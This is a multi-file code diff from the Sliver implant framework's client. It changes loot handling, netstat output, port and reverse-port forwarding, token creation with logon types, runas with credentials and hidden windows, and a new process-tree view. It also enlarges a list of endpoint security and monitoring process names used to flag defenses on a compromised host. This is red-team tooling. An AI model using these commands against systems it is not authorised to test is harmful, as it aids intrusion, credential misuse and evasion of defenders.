 	lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
 	if lootFileType == -1 || err != nil {
@@ -72,8 +51,8 @@ func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileTy
 }
 
 /*
-	Eventually this function needs to be refactored out, but we made the decision to
-	duplicate it for now
+Eventually this function needs to be refactored out, but we made the decision to
+duplicate it for now
 */
 func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
 	ctrl := make(chan bool)
@@ -98,39 +77,32 @@ func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, c
 	}
 
 	if download.Response != nil && download.Response.Err != "" {
-		return nil, fmt.Errorf("%s\n", download.Response.Err)
+		return nil, fmt.Errorf("%s", download.Response.Err)
 	}
 
 	// Decode the downloaded data if required
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
-			return nil, fmt.Errorf("Decoding failed %s", err)
+			return nil, fmt.Errorf("decoding failed %s", err)
 		}
 	}
 
 	return download, nil
 }
 
-func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
+func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
 	if lootName == "" {
 		lootName = fileName
 	}
-
 	lootMessage := &clientpb.Loot{
 		Name:     lootName,
-		Type:     lootType,
 		FileType: lootFileType,
 		File: &commonpb.File{
 			Name: fileName,
 			Data: data,
 		},
 	}
-
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		lootMessage.CredentialType = clientpb.CredentialType_FILE
-	}
-
 	return lootMessage
 }
 
@@ -146,30 +118,29 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
 	}
 
 	if loot.Name != loot.File.Name {
-		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
+		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.ID)
 	} else {
-		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
+		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.ID)
 	}
-
-	return
 }
 
-func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	// Was the download successful?
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
 
-	/*  Construct everything needed to send the loot to the server
-	If this is a directory, we will process each file individually
+	/*
+		Construct everything needed to send the loot to the server
+		If this is a directory, we will process each file individually
 	*/
 
 	// Let's handle the simple case of a file first
 	if !download.IsDir {
 		// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
 		downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
-		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
+		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, fileType, download.Data)
 		SendLootMessage(lootMessage, con)
 	} else {
 		// We have to decompress the gzip file first
@@ -219,7 +190,7 @@ func LootDownload(download *sliverpb.Download, lootName string, lootType clientp
 			*/
 			fileData, err := io.ReadAll(tarReader)
 			if err == nil {
-				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
+				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, fileType, fileData)
 				SendLootMessage(lootMessage, con)
 			}
 		}
@@ -236,12 +207,6 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	fileName := filepath.Base(remotePath)
 	name := ctx.Flags.String("name")
 
-	lootType, err := ValidateLootType(ctx.Flags.String("type"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
 	download, err := PerformDownload(remotePath, fileName, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -250,5 +215,5 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	// Determine type based on download buffer
 	lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
-	LootDownload(download, name, lootType, lootFileType, ctx, con)
+	LootDownload(download, name, lootFileType, ctx, con)
 }

client/command/loot/rename.go

@@ -40,8 +40,8 @@ func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	survey.AskOne(prompt, &newName)
 
 	loot, err = con.Rpc.LootUpdate(context.Background(), &clientpb.Loot{
-		LootID: loot.LootID,
-		Name:   newName,
+		ID:   loot.ID,
+		Name: newName,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/network/netstat.go

@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ip6 := ctx.Flags.Bool("ip6")
 	tcp := ctx.Flags.Bool("tcp")
 	udp := ctx.Flags.Bool("udp")
+	numeric := ctx.Flags.Bool("numeric")
 
 	implantPID := getPID(session, beacon)
 	activeC2 := getActiveC2(session, beacon)
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintNetstat(netstat, implantPID, activeC2, con)
+			PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 		})
 		con.PrintAsyncResponse(netstat.Response)
 	} else {
-		PrintNetstat(netstat, implantPID, activeC2, con)
+		PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 	}
 }
 
-func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
+func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
 	lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
-		const IPv4Strlen = 17
 		addr := skaddr.Ip
 		names, err := net.LookupAddr(addr)
 		if err == nil && len(names) > 0 {
 			addr = names[0]
 		}
-		if len(addr) > IPv4Strlen {
-			addr = addr[:IPv4Strlen]
-		}
 		return fmt.Sprintf("%s:%d", addr, skaddr.Port)
 	}
 
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
 		if entry.Process != nil {
 			pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
 		}
-		srcAddr := lookup(entry.LocalAddr)
-		dstAddr := lookup(entry.RemoteAddr)
+		srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
+		dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
+		if !numeric {
+			srcAddr = lookup(entry.LocalAddr)
+			dstAddr = lookup(entry.RemoteAddr)
+		}
 		if entry.Process != nil && entry.Process.Pid == implantPID {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),

client/command/portfwd/portfwd-add.go

@@ -19,8 +19,10 @@ package portfwd
 */
 
 import (
+	"fmt"
 	"log"
 	"net"
+	"regexp"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if remoteAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port")
+	if bindAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
 		return
 	}
+	// If only a port is specified bind to localhost
+	if portNumberOnlyRegexp.MatchString(bindAddr) {
+		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
+	}
 
 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{

client/command/portfwd/portfwd.go

@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 		"Remote Address",
 	})
 	for _, p := range portfwds {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			p.ID,
 			p.SessionID,
 			p.BindAddr,

client/command/privilege/make-token.go

@@ -28,6 +28,16 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+var logonTypes = map[string]uint32{
+	"LOGON_INTERACTIVE":       2,
+	"LOGON_NETWORK":           3,
+	"LOGON_BATCH":             4,
+	"LOGON_SERVICE":           5,
+	"LOGON_UNLOCK":            7,
+	"LOGON_NETWORK_CLEARTEXT": 8,
+	"LOGON_NEW_CREDENTIALS":   9,
+}
+
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	username := ctx.Flags.String("username")
 	password := ctx.Flags.String("password")
 	domain := ctx.Flags.String("domain")
+	logonType := ctx.Flags.String("logon-type")
+
+	if _, ok := logonTypes[logonType]; !ok {
+		con.PrintErrorf("Invalid logon type: %s\n", logonType)
+		return
+	}
 
 	if username == "" || password == "" {
 		con.PrintErrorf("Pou must provide a username and password\n")
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)
 
 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:  con.ActiveTarget.Request(ctx),
-		Username: username,
-		Domain:   domain,
-		Password: password,
+		Request:   con.ActiveTarget.Request(ctx),
+		Username:  username,
+		Domain:    domain,
+		Password:  password,
+		LogonType: logonTypes[logonType],
 	})
 	ctrl <- true
 	<-ctrl

client/command/privilege/runas.go

@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	username := ctx.Flags.String("username")
+	password := ctx.Flags.String("password")
+	domain := ctx.Flags.String("domain")
+	showWindow := ctx.Flags.Bool("show-window")
 	process := ctx.Flags.String("process")
 	arguments := ctx.Flags.String("args")
+	netonly := ctx.Flags.Bool("net-only")
 
 	if username == "" {
 		con.PrintErrorf("Please specify a username\n")
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,
+		Domain:      domain,
+		Password:    password,
+		HideWindow:  !showWindow,
+		NetOnly:     netonly,
 	})
 	if err != nil {
 		con.PrintErrorf("%s", err)

client/command/processes/procdump.go

@@ -144,6 +144,6 @@ func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName strin
 		lootName = dumpFileName
 	}
 
-	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
+	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.FileType_BINARY, dump.GetData())
 	loot.SendLootMessage(lootMessage, con)
 }

client/command/processes/ps.go

@@ -21,6 +21,7 @@ package processes
 import (
 	"context"
 	"fmt"
+	"sort"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -37,15 +38,53 @@ var (
 	// Stylizes known processes in the `ps` command
 	knownSecurityTools = map[string][]string{
 		// Process Name -> [Color, Stylized Name]
-		"ccSvcHst.exe":          {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
-		"cb.exe":                {console.Red, "Carbon Black"},                 // Carbon Black
-		"MsMpEng.exe":           {console.Red, "Windows Defender"},             // Windows Defender
-		"smartscreen.exe":       {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
-		"CSFalconService.exe":   {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
-		"CSFalconContainer.exe": {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
-		"bdservicehost.exe":     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdagent.exe":           {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdredline.exe":         {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
+		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"SenseIR.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint (Live Response Session)
+		"SenseCncProxy.exe":               {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MsSense.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MpCmdRun.exe":                    {console.Red, "Windows Defender"},             // Windows Defender
+		"MonitoringHost.exe":              {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
+		"HealthService.exe":               {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
+		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
+		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
+		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
+		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"Deep Security Manager.exe":       {console.Red, "Trend Micro"},                  // TM Deep Security Manager
+		"coreServiceShell.exe":            {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"ds_monitor.exe":                  {console.Red, "Trend Micro"},                  // TM Deep Security Monitor
+		"Notifier.exe":                    {console.Red, "Trend Micro"},                  // TM Deep Security Notifier's process
+		"dsa.exe":                         {console.Red, "Trend Micro"},                  // TM Agent's main process
+		"ds_nuagent.exe":                  {console.Red, "Trend Micro"},                  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":           {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
+		"Sysmon.exe":                      {console.Red, "Sysmon"},                       // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64
+		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
+		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
+		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
+		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
+		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
+		"collector.exe":                   {console.Red, "Rapid 7 Collector"},            // Rapid 7 Insight Platform Collector
+		"ir_agent.exe":                    {console.Red, "Rapid 7 Insight Agent"},        // Rapid 7 Insight Agent
+		"eguiproxy.exe":                   {console.Red, "ESET Security"},                // ESET Internet Security
+		"ekrn.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
+		"efwd.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
 	}
 )
 
@@ -104,19 +143,38 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 	ownerFilter := ctx.Flags.String("owner")
 	overflow := ctx.Flags.Bool("overflow")
 	skipPages := ctx.Flags.Int("skip-pages")
+	pstree := ctx.Flags.Bool("tree")
+
+	if pstree {
+		var currentPID int32
+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil && session.PID != 0 {
+			currentPID = session.PID
+		} else if beacon != nil && beacon.PID != 0 {
+			currentPID = beacon.PID
+		}
+		// Print the process tree
+		sorted := SortProcessesByPID(ps.Processes)
+		tree := NewPsTree(currentPID)
+		for _, p := range sorted {
+			tree.AddProcess(p)
+		}
+		con.PrintInfof("Process Tree:\n%s", tree.String())
+		return
+	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 
 	switch os {
 	case "windows":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
 	case "darwin":
 		fallthrough
 	case "linux":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		fallthrough
 	default:
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
 	}
 
 	cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +192,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 		tw.AppendRow(row)
 	}
 	tw.SortBy([]table.SortBy{
-		{Name: "pid", Mode: table.Asc},
-		{Name: "ppid", Mode: table.Asc},
+		{Name: "pid", Mode: table.AscNumeric},
+		{Name: "ppid", Mode: table.AscNumeric},
 	})
 	if !interactive {
 		overflow = true
@@ -182,6 +240,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -190,6 +249,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -210,6 +270,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 			}
 		} else {
@@ -217,6 +278,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 			}
 		}
@@ -239,3 +301,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
 	}
 	return -1
 }
+
+// SortProcessesByPID - Sorts a list of processes by PID
+func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
+	sort.Slice(ps, func(i, j int) bool {
+		return ps[i].Pid < ps[j].Pid
+	})
+	return ps
+}

client/command/processes/pstree.go

@@ -0,0 +1,149 @@
+package processes
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/xlab/treeprint"
+)
+
+// A PsTree is a tree of *commonpb.Process
+type PsTree struct {
+	printableTree treeprint.Tree // only used for rendering
+	implantPID    int32
+	procTree      *node // used to hold the tree structure
+}
+
+type node struct {
+	Value    *commonpb.Process // The process information
+	Children map[int32]*node   // The children of this node
+	Parent   *node             // The parent of this node
+}
+
+// NewPsTree creates a new PsTree
+func NewPsTree(pid int32) *PsTree {
+	return &PsTree{
+		printableTree: treeprint.New(),
+		implantPID:    pid,
+		procTree:      &node{Value: &commonpb.Process{Pid: -1}},
+	}
+}
+
+func (n *node) insert(proc *commonpb.Process) {
+	if n.Value == nil {
+		n.Value = proc
+		return
+	}
+	if parent := n.findParent(proc); parent != nil {
+		if parent.Children == nil {
+			parent.Children = make(map[int32]*node)
+		}
+		parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
+	} else {
+		if n.Children == nil {
+			n.Children = make(map[int32]*node)
+		}
+		n.Children[proc.Pid] = &node{Value: proc, Parent: n}
+	}
+}
+
+func (n *node) findParent(proc *commonpb.Process) *node {
+	if n.Value == nil {
+		return nil
+	}
+	if n.Value.Pid == proc.Ppid {
+		return n
+	}
+	for _, child := range n.Children {
+		if p := child.findParent(proc); p != nil {
+			return p
+		}
+	}
+	return nil
+}
+
+func reorder(root *node) {
+	toDelete := make([]int32, 0)
+	for pid, child := range root.Children {
+		// skip root node
+		if child.Value.Pid == -1 {
+			continue
+		}
+		// Skip edge case of [System Process] on Windows
+		if child.Value.Ppid == pid {
+			continue
+		}
+		// only focus on children without parent
+		if child.Parent.Value.Pid == -1 {
+			if parent := root.findParent(child.Value); parent != nil {
+				child.Parent = parent
+				if parent.Children == nil {
+					parent.Children = make(map[int32]*node)
+				}
+				// copy to new parent
+				parent.Children[pid] = child
+				// mark for deletion
+				toDelete = append(toDelete, pid)
+			}
+		}
+	}
+	// delete children that were moved
+	for _, pid := range toDelete {
+		delete(root.Children, pid)
+	}
+}
+
+func (t *PsTree) AddProcess(proc *commonpb.Process) {
+	t.procTree.insert(proc)
+}
+
+func (t *PsTree) filterProc(proc *commonpb.Process) string {
+	color := console.Normal
+	if proc.Pid == t.implantPID {
+		color = console.Green
+	}
+	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
+		color = secTool[0]
+	}
+	return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
+}
+
+func (t *PsTree) String() string {
+	reorder(t.procTree)
+	return t.Print()
+}
+
+func (t *PsTree) Print() string {
+	topLevelPIDs := make([]int, 0, len(t.procTree.Children))
+	for k := range t.procTree.Children {
+		topLevelPIDs = append(topLevelPIDs, int(k))
+	}
+	sort.Ints(topLevelPIDs)
+	for _, pid := range topLevelPIDs {
+		current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
+		t.addToTree(current, t.procTree.Children[int32(pid)].Children)
+	}
+	return t.printableTree.String()
+
+}
+
+func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
+	for pid, proc := range procs {
+		if proc.Value.Pid == -1 {
+			continue
+		}
+		procName := t.filterProc(proc.Value)
+
+		procNode := tree.FindByMeta(pid)
+		if procNode == nil {
+			if len(proc.Children) > 0 {
+				procNode = tree.AddMetaBranch(pid, procName)
+			} else {
+				procNode = tree.AddMetaNode(pid, procName)
+			}
+		}
+		t.addToTree(procNode, proc.Children)
+	}
+}

client/command/processes/terminate.go

@@ -30,8 +30,9 @@ import (
 
 // TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		con.PrintErrorf("No active session or beacon\n")
 		return
 	}
 

client/command/reaction/save.go

@@ -19,6 +19,7 @@ package reaction
 */
 
 import (
+	"fmt"
 	"os"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
 
 // ReactionSaveCmd - Manage reactions to events
 func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+	reactionPath := GetReactionFilePath()
+	if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
 		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved reactions to disk\n")
+		con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
 	}
 }

client/command/rportfwd/portfwd-add.go

@@ -0,0 +1,77 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.GetActiveC2() == "dns" {
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+	}
+
+	bindAddress := ctx.Flags.String("bind")
+	// Check if the bind address is just a port number, if no host is specified
+	// we just bind to all interfaces implant-side
+	if portNumberOnlyRegexp.MatchString(bindAddress) {
+		bindAddress = fmt.Sprintf(":%s", bindAddress)
+	}
+
+	forwardAddress := ctx.Flags.String("remote")
+	// Check if the forward address is just a port number, if no host is specified
+	// we just forward to localhost client-side
+	if portNumberOnlyRegexp.MatchString(forwardAddress) {
+		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
+	}
+	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
+		Request:        con.ActiveTarget.Request(ctx),
+		BindAddress:    bindAddress,
+		ForwardAddress: forwardAddress,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStartedRportFwdListener(rportfwdListener, con)
+}
+
+func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd-rm.go

@@ -0,0 +1,55 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
